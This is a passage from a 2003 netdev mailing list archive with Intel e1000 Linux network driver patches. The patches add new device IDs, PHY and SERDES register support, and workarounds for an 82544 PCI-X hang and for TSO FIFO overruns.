AUTONEG_ADVERTISE_10_ALL ) || + (hw->autoneg_advertised == AUTONEG_ADVERTISE_10_100_ALL)) { + + phy_data |= IGP01E1000_GMII_FLEX_SPD; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_GMII_FIFO, phy_data))) + return ret_val; + + /* When LPLU is enabled we should disable SmartSpeed */ + if((ret_val = e1000_read_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, + &phy_data))) + return ret_val; + + phy_data &= ~IGP01E1000_PSCFR_SMART_SPEED; + if((ret_val = e1000_write_phy_reg(hw, IGP01E1000_PHY_PORT_CONFIG, + phy_data))) + return ret_val; + } return E1000_SUCCESS; } +/****************************************************************************** + * Change VCO speed register to improve Bit Error Rate performance of SERDES. + * + * hw - Struct containing variables accessed by shared code + *****************************************************************************/ +static int32_t +e1000_set_vco_speed(struct e1000_hw *hw) +{ + int32_t ret_val; + uint16_t default_page = 0; + uint16_t phy_data; + + DEBUGFUNC("e1000_set_vco_speed"); + + switch(hw->mac_type) { + case e1000_82545_rev_3: + case e1000_82546_rev_3: + break; + default: + return E1000_SUCCESS; + } + + /* Set PHY register 30, page 5, bit 8 to 0 */ + + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_PAGE_SELECT, + &default_page))) + return ret_val; + + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_PAGE_SELECT, 0x0005))) + return ret_val; + + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_GEN_CONTROL, &phy_data))) + return ret_val; + + phy_data &= ~M88E1000_PHY_VCO_REG_BIT8; + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_GEN_CONTROL, phy_data))) + return ret_val; + + /* Set PHY register 30, page 4, bit 11 to 1 */ + + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_PAGE_SELECT, 0x0004))) + return ret_val; + + if((ret_val = e1000_read_phy_reg(hw, M88E1000_PHY_GEN_CONTROL, &phy_data))) + return ret_val; + + phy_data |= M88E1000_PHY_VCO_REG_BIT11; + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_GEN_CONTROL, phy_data))) + return ret_val; + + if((ret_val = e1000_write_phy_reg(hw, M88E1000_PHY_PAGE_SELECT, + default_page))) + return ret_val; + + return E1000_SUCCESS; +} + diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h --- linux-2.6.0-test4/drivers/net/e1000/e1000_hw.h 2003-08-22 16:58:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_hw.h 2003-09-08 09:13:16.000000000 -0700 @@ -50,9 +50,13 @@ typedef enum { e1000_82544, e1000_82540, e1000_82545, + e1000_82545_rev_3, e1000_82546, + e1000_82546_rev_3, e1000_82541, + e1000_82541_rev_2, e1000_82547, + e1000_82547_rev_2, e1000_num_macs } e1000_mac_type; @@ -67,6 +71,7 @@ typedef enum { typedef enum { e1000_media_type_copper = 0, e1000_media_type_fiber = 1, + e1000_media_type_internal_serdes = 2, e1000_num_media_types } e1000_media_type; @@ -90,7 +95,8 @@ typedef enum { typedef enum { e1000_bus_type_unknown = 0, e1000_bus_type_pci, - e1000_bus_type_pcix + e1000_bus_type_pcix, + e1000_bus_type_reserved } e1000_bus_type; /* PCI bus speeds */ @@ -108,7 +114,8 @@ typedef enum { typedef enum { e1000_bus_width_unknown = 0, e1000_bus_width_32, - e1000_bus_width_64 + e1000_bus_width_64, + e1000_bus_width_reserved } e1000_bus_width; /* PHY status info structure and supporting enums */ @@ -186,6 +193,26 @@ typedef enum { e1000_phy_undefined = 0xFF } e1000_phy_type; +typedef enum { + e1000_ms_hw_default = 0, + e1000_ms_force_master, + e1000_ms_force_slave, + e1000_ms_auto +} e1000_ms_type; + +typedef enum { + e1000_ffe_config_enabled = 0, + e1000_ffe_config_active, + e1000_ffe_config_blocked +} e1000_ffe_config; + +typedef enum { + e1000_dsp_config_disabled = 0, + e1000_dsp_config_enabled, + e1000_dsp_config_activated, + e1000_dsp_config_undefined = 0xFF +} e1000_dsp_config; + struct e1000_phy_info { e1000_cable_length cable_length; e1000_10bt_ext_dist_enable extended_10bt_distance; @@ -224,9 +251,10 @@ struct e1000_eeprom_info { /* Function prototypes */ /* Initialization */ -void e1000_reset_hw(struct e1000_hw *hw); +int32_t e1000_reset_hw(struct e1000_hw *hw); int32_t e1000_init_hw(struct e1000_hw *hw); int32_t e1000_set_mac_type(struct e1000_hw *hw); +void e1000_set_media_type(struct e1000_hw *hw); /* Link Configuration */ int32_t e1000_setup_link(struct e1000_hw *hw); @@ -234,7 +262,7 @@ int32_t e1000_phy_setup_autoneg(struct e void e1000_config_collision_dist(struct e1000_hw *hw); int32_t e1000_config_fc_after_link_up(struct e1000_hw *hw); int32_t e1000_check_for_link(struct e1000_hw *hw); -void e1000_get_speed_and_duplex(struct e1000_hw *hw, uint16_t * speed, uint16_t * duplex); +int32_t e1000_get_speed_and_duplex(struct e1000_hw *hw, uint16_t * speed, uint16_t * duplex); int32_t e1000_wait_autoneg(struct e1000_hw *hw); /* PHY */ @@ -292,6 +321,8 @@ uint32_t e1000_io_read(struct e1000_hw * uint32_t e1000_read_reg_io(struct e1000_hw *hw, uint32_t offset); void e1000_io_write(struct e1000_hw *hw, uint32_t port, uint32_t value); void e1000_write_reg_io(struct e1000_hw *hw, uint32_t offset, uint32_t value); +int32_t e1000_config_dsp_after_link_change(struct e1000_hw *hw, boolean_t link_up); +int32_t e1000_set_d3_lplu_state(struct e1000_hw *hw, boolean_t active); #define E1000_READ_REG_IO(a, reg) \ e1000_read_reg_io((a), E1000_##reg) @@ -313,13 +343,22 @@ void e1000_write_reg_io(struct e1000_hw #define E1000_DEV_ID_82540EP_LP 0x101E #define E1000_DEV_ID_82545EM_COPPER 0x100F #define E1000_DEV_ID_82545EM_FIBER 0x1011 +#define E1000_DEV_ID_82545GM_COPPER 0x1026 +#define E1000_DEV_ID_82545GM_FIBER 0x1027 +#define E1000_DEV_ID_82545GM_SERDES 0x1028 #define E1000_DEV_ID_82546EB_COPPER 0x1010 #define E1000_DEV_ID_82546EB_FIBER 0x1012 #define E1000_DEV_ID_82546EB_QUAD_COPPER 0x101D #define E1000_DEV_ID_82541EI 0x1013 -#define E1000_DEV_ID_82541EP 0x1018 +#define E1000_DEV_ID_82541EI_MOBILE 0x1018 +#define E1000_DEV_ID_82541ER 0x1078 +#define E1000_DEV_ID_82547GI 0x1075 +#define E1000_DEV_ID_82541GI 0x1076 +#define E1000_DEV_ID_82541GI_MOBILE 0x1077 +#define E1000_DEV_ID_82546GB_COPPER 0x1079 +#define E1000_DEV_ID_82546GB_FIBER 0x107A +#define E1000_DEV_ID_82546GB_SERDES 0x107B #define E1000_DEV_ID_82547EI 0x1019 -#define NUM_DEV_IDS 20 #define NODE_ADDRESS_SIZE 6 #define ETH_LENGTH_OF_ADDRESS 6 @@ -599,6 +638,7 @@ struct e1000_ffvt_entry { * A - register array */ #define E1000_CTRL 0x00000 /* Device Control - RW */ +#define E1000_CTRL_DUP 0x00004 /* Device Control Duplicate (Shadow) - RW */ #define E1000_STATUS 0x00008 /* Device Status - RO */ #define E1000_EECD 0x00010 /* EEPROM/Flash Control - RW */ #define E1000_EERD 0x00014 /* EEPROM Read - RW */ @@ -934,6 +974,9 @@ struct e1000_hw { e1000_bus_width bus_width; e1000_bus_type bus_type; struct e1000_eeprom_info eeprom; + e1000_ms_type master_slave; + e1000_ms_type original_master_slave; + e1000_ffe_config ffe_config_state; uint32_t io_base; uint32_t phy_id; uint32_t phy_revision; @@ -950,6 +993,8 @@ struct e1000_hw { uint32_t ledctl_default; uint32_t ledctl_mode1; uint32_t ledctl_mode2; + uint16_t phy_spd_default; + uint16_t dsp_reset_counter; uint16_t autoneg_advertised; uint16_t pci_cmd_word; uint16_t fc_high_water; @@ -974,10 +1021,13 @@ struct e1000_hw { uint8_t perm_mac_addr[NODE_ADDRESS_SIZE]; boolean_t disable_polarity_correction; boolean_t speed_downgraded; + e1000_dsp_config dsp_config_state; boolean_t get_link_status; boolean_t tbi_compatibility_en; boolean_t tbi_compatibility_on; + boolean_t phy_reset_disable; boolean_t fc_send_xon; + boolean_t fc_strict_ieee; boolean_t report_tx_early; boolean_t adaptive_ifs; boolean_t ifs_params_forced; @@ -1426,15 +1474,17 @@ struct e1000_hw { #define EEPROM_SIZE_128B 0x0000 #define EEPROM_SIZE_MASK 0x1C00 - /* EEPROM Word Offsets */ -#define EEPROM_COMPAT 0x0003 -#define EEPROM_ID_LED_SETTINGS 0x0004 -#define EEPROM_INIT_CONTROL1_REG 0x000A -#define EEPROM_INIT_CONTROL2_REG 0x000F -#define EEPROM_CFG 0x0012 -#define EEPROM_FLASH_VERSION 0x0032 -#define EEPROM_CHECKSUM_REG 0x003F +#define EEPROM_COMPAT 0x0003 +#define EEPROM_ID_LED_SETTINGS 0x0004 +#define EEPROM_SERDES_AMPLITUDE 0x0006 /* For SERDES output amplitude adjustment. */ +#define EEPROM_INIT_CONTROL1_REG 0x000A +#define EEPROM_INIT_CONTROL2_REG 0x000F +#define EEPROM_INIT_CONTROL3_PORT_B 0x0014 +#define EEPROM_INIT_CONTROL3_PORT_A 0x0024 +#define EEPROM_CFG 0x0012 +#define EEPROM_FLASH_VERSION 0x0032 +#define EEPROM_CHECKSUM_REG 0x003F /* Word definitions for ID LED Settings */ #define ID_LED_RESERVED_0000 0x0000 @@ -1458,6 +1508,9 @@ struct e1000_hw { #define IGP_LED3_MODE 0x07000000 +/* Mask bits for SERDES amplitude adjustment in Word 6 of the EEPROM */ +#define EEPROM_SERDES_AMPLITUDE_MASK 0x000F + /* Mask bits for fields in Word 0x0a of the EEPROM */ #define EEPROM_WORD0A_ILOS 0x0010 #define EEPROM_WORD0A_SWDPIO 0x01E0 @@ -1479,6 +1532,8 @@ struct e1000_hw { #define EEPROM_NODE_ADDRESS_BYTE_0 0 #define EEPROM_PBA_BYTE_1 8 +#define EEPROM_RESERVED_WORD 0xFFFF + /* EEPROM Map Sizes (Byte Counts) */ #define PBA_SIZE 4 @@ -1668,7 +1723,16 @@ struct e1000_hw { #define M88E1000_EXT_PHY_SPEC_CTRL 0x14 /* Extended PHY Specific Control */ #define M88E1000_RX_ERR_CNTR 0x15 /* Receive Error Counter */ +#define M88E1000_PHY_EXT_CTRL 0x1A /* PHY extend control register */ +#define M88E1000_PHY_PAGE_SELECT 0x1D /* Reg 29 for page number setting */ +#define M88E1000_PHY_GEN_CONTROL 0x1E /* Its meaning depends on reg 29 */ +#define M88E1000_PHY_VCO_REG_BIT8 0x100 /* Bits 8 & 11 are adjusted for */ +#define M88E1000_PHY_VCO_REG_BIT11 0x800 /* improved BER performance */ + #define IGP01E1000_IEEE_REGS_PAGE 0x0000 +#define IGP01E1000_IEEE_RESTART_AUTONEG 0x3300 +#define IGP01E1000_IEEE_FORCE_GIGA 0x0140 + /* IGP01E1000 Specific Registers */ #define IGP01E1000_PHY_PORT_CONFIG 0x10 /* PHY Specific Port Config Register */ #define IGP01E1000_PHY_PORT_STATUS 0x11 /* PHY Specific Status Register */ @@ -1684,17 +1748,35 @@ struct e1000_hw { #define IGP01E1000_PHY_AGC_C 0x1472 #define IGP01E1000_PHY_AGC_D 0x1872 -/* Number of AGC registers */ -#define IGP01E1000_PHY_AGC_NUM 4 +/* IGP01E1000 DSP Reset Register */ +#define IGP01E1000_PHY_DSP_RESET 0x1F33 +#define IGP01E1000_PHY_DSP_SET 0x1F71 +#define IGP01E1000_PHY_DSP_FFE 0x1F35 + +#define IGP01E1000_PHY_CHANNEL_NUM 4 +#define IGP01E1000_PHY_AGC_PARAM_A 0x1171 +#define IGP01E1000_PHY_AGC_PARAM_B 0x1271 +#define IGP01E1000_PHY_AGC_PARAM_C 0x1471 +#define IGP01E1000_PHY_AGC_PARAM_D 0x1871 + +#define IGP01E1000_PHY_EDAC_MU_INDEX 0xC000 +#define IGP01E1000_PHY_EDAC_SIGN_EXT_9_BITS 0x8000 + +#define IGP01E1000_PHY_ANALOG_TX_STATE 0x2890 +#define IGP01E1000_PHY_ANALOG_CLASS_A 0x2000 +#define IGP01E1000_PHY_FORCE_ANALOG_ENABLE 0x0004 +#define IGP01E1000_PHY_DSP_FFE_CM_CP 0x0069 +#define IGP01E1000_PHY_DSP_FFE_DEFAULT 0x002A /* IGP01E1000 PCS Initialization register - stores the polarity status when * speed = 1000 Mbps. */ #define IGP01E1000_PHY_PCS_INIT_REG 0x00B4 +#define IGP01E1000_PHY_PCS_CTRL_REG 0x00B5 #define IGP01E1000_ANALOG_REGS_PAGE 0x20C0 #define MAX_PHY_REG_ADDRESS 0x1F /* 5 bit address bus (0-0x1F) */ - +#define MAX_PHY_MULTI_PAGE_REG 0xF /*Registers that are equal on all pages*/ /* PHY Control Register */ #define MII_CR_SPEED_SELECT_MSB 0x0040 /* bits 6,13: 10=1000, 01=100, 00=10 */ #define MII_CR_COLL_TEST_ENABLE 0x0080 /* Collision test enable */ @@ -1808,8 +1890,11 @@ struct e1000_hw { #define SR_1000T_LOCAL_RX_STATUS 0x2000 /* Local receiver OK */ #define SR_1000T_MS_CONFIG_RES 0x4000 /* 1=Local TX is Master, 0=Slave */ #define SR_1000T_MS_CONFIG_FAULT 0x8000 /* Master/Slave config fault */ -#define SR_1000T_REMOTE_RX_STATUS_SHIFT 12 -#define SR_1000T_LOCAL_RX_STATUS_SHIFT 13 +#define SR_1000T_REMOTE_RX_STATUS_SHIFT 12 +#define SR_1000T_LOCAL_RX_STATUS_SHIFT 13 +#define SR_1000T_PHY_EXCESSIVE_IDLE_ERR_COUNT 5 +#define FFE_IDLE_ERR_COUNT_TIMEOUT_20 20 +#define FFE_IDLE_ERR_COUNT_TIMEOUT_100 100 /* Extended Status Register */ #define IEEE_ESR_1000T_HD_CAPS 0x1000 /* 1000T HD capable */ @@ -1952,6 +2037,11 @@ struct e1000_hw { #define IGP01E1000_MSE_CHANNEL_B 0x0F00 #define IGP01E1000_MSE_CHANNEL_A 0xF000 +/* IGP01E1000 DSP reset macros */ +#define DSP_RESET_ENABLE 0x0 +#define DSP_RESET_DISABLE 0x2 +#define E1000_MAX_DSP_RESETS 10 + /* IGP01E1000 AGC Registers */ #define IGP01E1000_AGC_LENGTH_SHIFT 7 /* Coarse - 13:11, Fine - 10:7 */ @@ -1983,10 +2057,10 @@ uint16_t e1000_igp_cable_length_table[IG * on Link-Up */ #define IGP01E1000_GMII_SPD 0x20 /* Enable SPD */ /* IGP01E1000 Analog Register */ -#define IGP01E1000_ANALOG_SPARE_FUSE_STATUS 0x0011 -#define IGP01E1000_ANALOG_FUSE_STATUS 0x0010 -#define IGP01E1000_ANALOG_FUSE_CONTROL 0x001C -#define IGP01E1000_ANALOG_FUSE_BYPASS 0x001E +#define IGP01E1000_ANALOG_SPARE_FUSE_STATUS 0x20D1 +#define IGP01E1000_ANALOG_FUSE_STATUS 0x20D0 +#define IGP01E1000_ANALOG_FUSE_CONTROL 0x20DC +#define IGP01E1000_ANALOG_FUSE_BYPASS 0x20DE #define IGP01E1000_ANALOG_FUSE_POLY_MASK 0xF000 #define IGP01E1000_ANALOG_FUSE_FINE_MASK 0x0F80 @@ -2032,5 +2108,8 @@ uint16_t e1000_igp_cable_length_table[IG #define ADVERTISE_1000_HALF 0x0010 #define ADVERTISE_1000_FULL 0x0020 #define AUTONEG_ADVERTISE_SPEED_DEFAULT 0x002F /* Everything but 1000-Half */ +#define AUTONEG_ADVERTISE_10_100_ALL 0x000F /* All 10/100 speeds*/ +#define AUTONEG_ADVERTISE_10_ALL 0x0003 /* 10Mbps Full & Half speeds*/ + #endif /* _E1000_HW_H_ */ diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -71,15 +71,28 @@ static struct pci_device_id e1000_pci_tb {0x8086, 0x100D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x100E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x100F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, - {0x8086, 0x1011, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x1010, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1011, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x1012, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1013, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1014, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1015, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x1016, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x1017, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, - {0x8086, 0x101E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, - {0x8086, 0x101D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, - {0x8086, 0x1013, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1018, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, {0x8086, 0x1019, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x101D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x101E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1026, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1027, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1028, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1075, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1076, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1077, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1078, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x1079, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x107A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0x8086, 0x107B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, /* required last entry */ {0,} }; @@ -426,6 +439,11 @@ e1000_probe(struct pci_dev *pdev, if(pci_using_dac) netdev->features |= NETIF_F_HIGHDMA; + /* before reading the EEPROM, reset the controller to + * put the device in a known good starting state */ + + e1000_reset_hw(&adapter->hw); + /* make sure the EEPROM is good */ if(e1000_validate_eeprom_checksum(&adapter->hw) < 0) { @@ -584,7 +628,10 @@ e1000_sw_init(struct e1000_adapter *adap hw->fc_pause_time = E1000_FC_PAUSE_TIME; hw->fc_send_xon = 1; - if((hw->mac_type == e1000_82541) || (hw->mac_type == e1000_82547)) + if((hw->mac_type == e1000_82541) || + (hw->mac_type == e1000_82547) || + (hw->mac_type == e1000_82541_rev_2) || + (hw->mac_type == e1000_82547_rev_2)) hw->phy_init_script = 1; /* Media type - copper or fiber */ @@ -763,7 +784,8 @@ e1000_configure_tx(struct e1000_adapter tipg |= DEFAULT_82542_TIPG_IPGR2 << E1000_TIPG_IPGR2_SHIFT; break; default: - if(adapter->hw.media_type == e1000_media_type_fiber) + if(adapter->hw.media_type == e1000_media_type_fiber || + adapter->hw.media_type == e1000_media_type_internal_serdes) tipg = DEFAULT_82543_TIPG_IPGT_FIBER; else tipg = DEFAULT_82543_TIPG_IPGT_COPPER; @@ -2387,7 +2409,7 @@ e1000_mii_ioctl(struct net_device *netde uint16_t mii_reg; uint16_t spddplx; - if(adapter->hw.media_type == e1000_media_type_fiber) + if(adapter->hw.media_type != e1000_media_type_copper) return -EOPNOTSUPP; switch (cmd) { @@ -2706,7 +2728,8 @@ e1000_suspend(struct pci_dev *pdev, uint E1000_WRITE_REG(&adapter->hw, CTRL, ctrl); } - if(adapter->hw.media_type == e1000_media_type_fiber) { + if(adapter->hw.media_type == e1000_media_type_fiber || + adapter->hw.media_type == e1000_media_type_internal_serdes) { /* keep the laser running in D3 */ ctrl_ext = E1000_READ_REG(&adapter->hw, CTRL_EXT); ctrl_ext |= E1000_CTRL_EXT_SDP7_DATA; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_param.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_param.c 2003-08-22 16:57:59.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_param.c 2003-09-08 09:13:12.000000000 -0700 @@ -458,6 +458,7 @@ e1000_check_options(struct e1000_adapter switch(adapter->hw.media_type) { case e1000_media_type_fiber: + case e1000_media_type_internal_serdes: e1000_check_fiber_options(adapter); break; case e1000_media_type_copper: From scott.feldman@intel.com Mon Sep 8 19:49:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:01 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892nPx4016926 for ; Mon, 8 Sep 2003 19:49:26 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892ibu01478 for ; Tue, 9 Sep 2003 02:44:37 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892n4C27232 for ; Tue, 9 Sep 2003 02:49:04 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs041.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819491703884 ; Mon, 08 Sep 2003 19:49:17 -0700 Date: Mon, 8 Sep 2003 20:13:55 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 0/11] huge patch bomb Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5708 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 444 Lines: 16 Jeff, new device support held this patch set up. :-( The new 82541/5/6/7 devices fix some hardware bugs, including handling PCI-X MMRBC correctly, and not requiring IO-mapping to issue reset. Also adds new internal SERDES device support for backplane applications. Other bugs fixes for legacy 82544x controllers included. See patches for details. These are for 2.6.0-test4. I'll send 2.4.x sync patches under separate cover. -scott From scott.feldman@intel.com Mon Sep 8 19:49:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 19:50:16 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h892nex4017053 for ; Mon, 8 Sep 2003 19:49:41 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h892lGD20762 for ; Tue, 9 Sep 2003 02:47:16 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h892iLU06113 for ; Tue, 9 Sep 2003 02:44:21 GMT Received: from [134.134.3.75] ([134.134.3.75]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090819493331290 ; Mon, 08 Sep 2003 19:49:33 -0700 Date: Mon, 8 Sep 2003 20:14:12 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [e1000 2.6 2/11] 82544 PCI-X hang fix + TSO updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5710 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 6980 Lines: 205 * Bug fix: 82544 hang with PCI-X: if outgoing Tx buffers terminate within evenly-aligned dwords, and the device is sharing the bus segment with another PCI-X device, 82544 can hang the bus on a split-completion transaction. Fix is to split buffer into two buffers with the first one not terminating within evenly-aligned dword address, and the second one being 4-bytes, which goes as a non-split-conpletion PCI-X transaction. * 8254x controllers that support TSO do an internal calculation to make sure there is enough FIFO space to handle the overhead of each TSO segment before DMA'ing TSO data from host memory. The internal calculation is dependent on the mss of the TSO (defines the number of segments), but the reserved space is a constant, so we need to adjust the maximum size of each buffer queued to the hardware to hold the equation and not overrun the FIFO. This is per TSO because the mss can change from one send to the next. --------------- diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000.h linux-2.6.0-test4/drivers/net/e1000.new/e1000.h --- linux-2.6.0-test4/drivers/net/e1000/e1000.h 2003-08-22 16:50:56.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000.h 2003-09-08 09:13:16.000000000 -0700 @@ -194,6 +194,7 @@ struct e1000_adapter { uint32_t tx_head_addr; uint32_t tx_fifo_size; atomic_t tx_fifo_stall; + boolean_t pcix_82544; /* RX */ struct e1000_desc_ring rx_ring; diff -Nuarp linux-2.6.0-test4/drivers/net/e1000/e1000_main.c linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c --- linux-2.6.0-test4/drivers/net/e1000/e1000_main.c 2003-08-22 16:54:23.000000000 -0700 +++ linux-2.6.0-test4/drivers/net/e1000.new/e1000_main.c 2003-09-08 09:13:11.000000000 -0700 @@ -820,6 +820,12 @@ e1000_configure_tx(struct e1000_adapter adapter->txd_cmd |= E1000_TXD_CMD_RS; else adapter->txd_cmd |= E1000_TXD_CMD_RPS; + + /* Cache if we're 82544 running in PCI-X because we'll + * need this to apply a workaround later in the send path. */ + if(adapter->hw.mac_type == e1000_82544 && + adapter->hw.bus_type == e1000_bus_type_pcix) + adapter->pcix_82544 = 1; } /** @@ -1512,11 +1518,18 @@ e1000_tx_map(struct e1000_adapter *adapt { struct e1000_desc_ring *tx_ring = &adapter->tx_ring; struct e1000_buffer *buffer_info; - int len = skb->len; + unsigned int len = skb->len, max_per_txd = E1000_MAX_DATA_PER_TXD; unsigned int offset = 0, size, count = 0, i; #ifdef NETIF_F_TSO - unsigned int tso = skb_shinfo(skb)->tso_size; + unsigned int mss = skb_shinfo(skb)->tso_size; + /* The controller does a simple calculation to + * make sure there is enough room in the FIFO before + * initiating the DMA for each buffer. The calc is: + * 4 = ceil(buffer len/mss). To make sure we don't + * overrun the FIFO, adjust the max buffer len if mss + * drops. */ + if(mss) max_per_txd = min(mss << 2, max_per_txd); #endif unsigned int nr_frags = skb_shinfo(skb)->nr_frags; unsigned int f; @@ -1526,13 +1520,20 @@ e1000_tx_map(struct e1000_adapter *adapt while(len) { buffer_info = &tx_ring->buffer_info[i]; - size = min(len, E1000_MAX_DATA_PER_TXD); + size = min(len, max_per_txd); #ifdef NETIF_F_TSO /* Workaround for premature desc write-backs * in TSO mode. Append 4-byte sentinel desc */ - if(tso && !nr_frags && size == len && size > 4) + if(mss && !nr_frags && size == len && size > 8) size -= 4; #endif + /* Workaround for potential 82544 hang in PCI-X. Avoid + * terminating buffers within evenly-aligned dwords. */ + if(adapter->pcix_82544 && + !((unsigned long)(skb->data + offset + size - 1) & 4) && + size > 4) + size -= 4; + buffer_info->length = size; buffer_info->dma = pci_map_single(adapter->pdev, @@ -1552,22 +1546,30 @@ e1000_tx_map(struct e1000_adapter *adapt frag = &skb_shinfo(skb)->frags[f]; len = frag->size; - offset = 0; + offset = frag->page_offset; while(len) { buffer_info = &tx_ring->buffer_info[i]; - size = min(len, E1000_MAX_DATA_PER_TXD); + size = min(len, max_per_txd); #ifdef NETIF_F_TSO /* Workaround for premature desc write-backs * in TSO mode. Append 4-byte sentinel desc */ - if(tso && f == (nr_frags-1) && size == len && size > 4) + if(mss && f == (nr_frags-1) && size == len && size > 8) size -= 4; #endif + /* Workaround for potential 82544 hang in PCI-X. + * Avoid terminating buffers within evenly-aligned + * dwords. */ + if(adapter->pcix_82544 && + !((unsigned long)(frag->page+offset+size-1) & 4) && + size > 4) + size -= 4; + buffer_info->length = size; buffer_info->dma = pci_map_page(adapter->pdev, frag->page, - frag->page_offset + offset, + offset, size, PCI_DMA_TODEVICE); buffer_info->time_stamp = jiffies; @@ -1578,6 +1606,31 @@ e1000_tx_map(struct e1000_adapter *adapt if(++i == tx_ring->count) i = 0; } } + + if(E1000_DESC_UNUSED(&adapter->tx_ring) < count) { + + /* There aren't enough descriptors available to queue up + * this send, so undo the mapping and abort the send. + * We could have done the check before we mapped the skb, + * but because of all the workarounds (above), it's too + * difficult to predict how many we're going to 